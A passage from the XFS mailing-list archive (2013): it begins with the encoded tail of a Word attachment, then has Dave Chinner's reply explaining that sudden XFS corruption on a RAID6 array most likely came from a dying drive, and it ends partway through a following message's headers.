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 ------=_NextPart_000_0AB5_01CEF173.1DE0AE00-- From david@fromorbit.com Wed Dec 4 21:40:42 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 49EA37F3F for ; Wed, 4 Dec 2013 21:40:42 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id BE402AC003 for ; Wed, 4 Dec 2013 19:40:41 -0800 (PST) X-ASG-Debug-ID: 1386214839-04cbb04166527730001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id DhiwZXVTyl8QFxFR for ; Wed, 04 Dec 2013 19:40:39 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: ApgGAAj1n1J5LHyk/2dsb2JhbABZgwe0KIVPgRkXdIIlAQEEATocIwULCAMYCSUPBSUDIQoJh3wFwVIWjmgHhDMDmBOSFIM9KA Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail07.adl2.internode.on.net with ESMTP; 05 Dec 2013 14:10:38 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VoPnm-0005s9-E5; Thu, 05 Dec 2013 14:40:34 +1100 Date: Thu, 5 Dec 2013 14:40:34 +1100 From: Dave Chinner To: Mike Dacre Cc: xfs@oss.sgi.com Subject: Re: Sudden File System Corruption Message-ID: <20131205034034.GI8803@dastard> X-ASG-Orig-Subj: Re: Sudden File System Corruption References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1386214839 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142850 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, Dec 04, 2013 at 06:55:05PM -0800, Mike Dacre wrote: > Hi Folks, > > Apologies if this is the wrong place to post or if this has been answered > already. > > I have a 16 2TB drive RAID6 array powered by an LSI 9240-4i. It has an XFS > filesystem and has been online for over a year. It is accessed by 23 > different machines connected via Infiniband over NFS v3. I haven't had any > major problems yet, one drive failed but it was easily replaced. > > However, today the drive suddenly stopped responding and started returning > IO errors when any requests were made. This happened while it was being > accessed by 5 different users, one was doing a very large rm operation (rm > *sh on thousands on files in a directory). Also, about 30 minutes before > we had connected the globus connect endpoint to allow easy file transfers > to SDSC. So, you had a drive die and at roughly the same time XFS started reporting corruption problems and shut down? Chances are that the drive returned garbage to XFS before died completely and that's what XFS detected and shut down on. If you are unlucky in this situation, the corruption can get propagated into the log by changes that are adjacent to the corrupted region, and then you have problems with log recovery failing because the corruption gets replayed.... > I have attached the complete log from the time it died until now. > > In the end, I successfully repaired the filesystem with `xfs_repair -L > /dev/sda1`. However, I am nervous that some files may have been corrupted. > > Do any of you have any idea what could have caused this problem? When corruption appears at roughly the same time a drive dies, it's almost always caused by the drive that failed. RAID doesn't repvent disks from returning crap to the OS because nobody configures the arrays to do read-verify cycles that would catch such a condition. Cheers, Dave. -- Dave Chinner david@fromorbit.com From mike.dacre@gmail.com Wed Dec 4 21:46:20 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,HTML_MESSAGE, T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id C02437F3F for ; Wed, 4 Dec 2013 21:46:20 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 851528F8035 for ; Wed, 4 Dec 2013 19:46:20 -0800 (PST) X-ASG-Debug-ID: 1386215178-04bdf0131b1ccc0001-NocioJ Received: from mail-oa0-f54.google.com (mail-oa0-f54.google.com [209.85.219.54]) by cuda.sgi.com with ESMTP id Oo4VYNSlNayHg8KC (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Wed, 04 Dec 2013 19:46:19 -0800 (PST) X-Barracuda-Envelope-From: mike.dacre@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.219.54 X-Barracuda-IPDD: Level1 [gmail.com/209.85.219.54] Received: by mail-oa0-f54.google.com with SMTP id h16so17856193oag.13 for ; Wed, 04 Dec 2013 19:46:18 -0800 (PST) X-Barracuda-IPDD: Level1 [gmail.com/209.85.219.54] X-Barracuda-IPDD: Level1 [gmail.com/209.85.219.54] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=user-agent:in-reply-to:references:mime-version:content-type:subject :from:date:to:cc:message-id; bh=dk+brEg+3lOb/Ry6Fas25rJTnPyNO5ZCYNIurKw6wYY=; b=JKVK5nr3rCHzUr95SxcW8PeDwv5lPDTm3Yp/4UuCnWdfGFtzyrKjRw4wMpQLiwn7C+ /LfQWuPx+VSo6JBgspdXcFtcUHBR6nFfS+Pie/ZyL/1n9KxEXJg0W9LozdaflJNDXSfv vGSBN55pNAYAKvN5v/OJDgnYY9UbFbnibDun4LbtrRl6vJnDtV/XDETn3Ri9Dou+Lmf9 kzY3T5f88ft8YiW8EOZZ8Y3f4hO8gzFoHxai5JGgFJo9BdI9PvmVWjMQQtvyV6kHKiHX 